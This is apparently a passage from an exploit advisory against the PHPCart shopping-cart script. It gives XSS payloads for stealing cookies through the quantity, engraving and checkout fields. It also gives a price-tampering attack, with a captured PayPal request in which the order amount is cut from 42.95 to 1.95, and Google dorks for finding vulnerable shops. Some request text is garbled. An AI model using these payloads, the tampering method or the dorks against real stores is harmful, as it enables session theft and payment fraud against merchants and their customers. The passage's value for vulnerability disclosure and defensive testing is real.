A user can run the #following script in "quantity" feild as # well as "Add Engraving" feild or any other feild where we can maually #inject the script, to get the current cookies. # # POC1:- http://www.site.com/phpcart/ # like <script>alert(document.cookie);</script> int the "quantity" feild as well as "Add Engraving" feild or any #other feild, to get the current cookies. # # POC2:- http://www.site.com/phpcart/phpcart.php # Injection of XSS script "Quantity" feild is gives with the XSS attack. # # POC3:- http://www.site.com/phpcart/phpcart.php?action=checkout # Injection of XSS script in input feild like "Name" "Company" "Address, Include City & Prov/State" gives with the #XSS attack. # # Live Demo:- http://phpcart.net/demo/phpcart/ # # # Exploit 2: Data manipulation # #DESCRIPTION: #A vulnerability in PHPCart, which can be exploited by malicious people to manipulate orders. #The problem is that the "price" and "postage" parameters are not properly verified in "phpcart.php". This can be #exploited to #change the price of a product being bought by modifying the "price" parameter directly using a intermediate proxy. # #POC:- http://www.site.com/phpcart/phpcart.php #It was discovered that the main process of online merchant payment was based solely on client-side verification. #The PHP module (phpcart.php) received the payment amount from the client-side, forwards the amount and sends back #the total price to the backend server for further payment process. #There was no proper validation mechanism at the backend to validate the data which had been submitted by the PHP module. #Potential attackers could tamper the data and modify the total amount. #Before the transaction enters the merchant gate way we captured the data using intermediate proxy and the total amount shown as $XX as shown was tampered and changed. # #POC Example: #Extract price of purchase:- #ID Description Price Qty. Amount #GB1000 Golf Balls - Long Distance 1 $28.95 + $14 shipping charges so total amount is 42.95 # #Intercept before manipulaion:- #After the Verification form when the page is redirecting to payment gateway the page is intermediated. The gateway selected is Paypal. # #User-Agent: Opera/9.26 (Windows NT 5.1; U; en) #Host: www.paypal.com #Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1# #Accept-Language: en-US,en;q=0.9 #Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1 #Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0 #Referer: http://www.phpcart.net/demo/phpcart/phpcart.php #Cookie: KHcl0EuY7AKSMgfvHl7J5E7hPtK=VDrukd29DPvnkTqVFUSeG52gR2iAX22piQHagEGhU #Cookie2: $Version=1 #Connection: Keep-Alive, TE #TE: deflate, gzip, chunked, identity, trailers #Content-Type: application/x-www-form-urlencoded #Content-Length: 286 # #cmd=_xclick&upload=1&currency_code=USD&business=sales%40phpcart.net&#172; ify_url=& #item_name=Shopping+Cart+Order+-+B17B3A57D&return=&cancel_return=&invoic e=B17B3A57D& #firstname=xyz&lastname=qdqd&address1=sfsf&address2=sdfsf&city=sdfsf&sta te=NE&zip=sfsf&rm=2&amount=42.95&handling_cart=18.00 # #Here price=42.95 was tampered and manipulated to 1.95 #and u can see that the price on the paypal gateway will be 1.95$. # # Live Demo:- http://phpcart.net/demo/phpcart/ # # Dork:- phpcart/phpcart.php? # Dork:- Powered by phpCart # # # ################################################################
